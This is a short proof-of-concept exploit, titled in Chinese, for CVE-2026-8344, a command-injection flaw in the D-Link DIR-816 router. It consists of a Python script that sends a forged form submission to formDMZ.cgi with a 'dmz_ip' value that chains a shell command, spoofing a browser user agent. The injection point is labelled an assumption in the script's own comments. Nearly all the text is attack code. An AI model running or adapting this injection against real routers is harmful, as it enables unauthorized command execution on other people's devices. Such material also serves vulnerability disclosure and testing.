CVE-2026-8344 D-Link DIR-816 路由器命令注入漏洞

import requests # Target URL (replace with actual IP) target_url = "http://192.168.0.1/goform/formDMZ.cgi" # Vulnerable parameter and payload # The payload injects a command to echo a proof file to /tmp # Common injection characters like ';' are used to chain commands payload = "; echo 'CVE-2026-8344_poc' > /tmp/poc_test;" # Data payload mimicking the form submission data = { "action": "Apply", "dmz_enable": "1", # Assuming 'dmz_ip' or similar parameter is the injection point based on the filename formDMZ.cgi "dmz_ip": payload } # Headers to mimic a legitimate browser request headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: # Sending POST request to the vulnerable endpoint response = requests.post(target_url, data=data, headers=headers, timeout=5) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Response: {response.text}") else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}")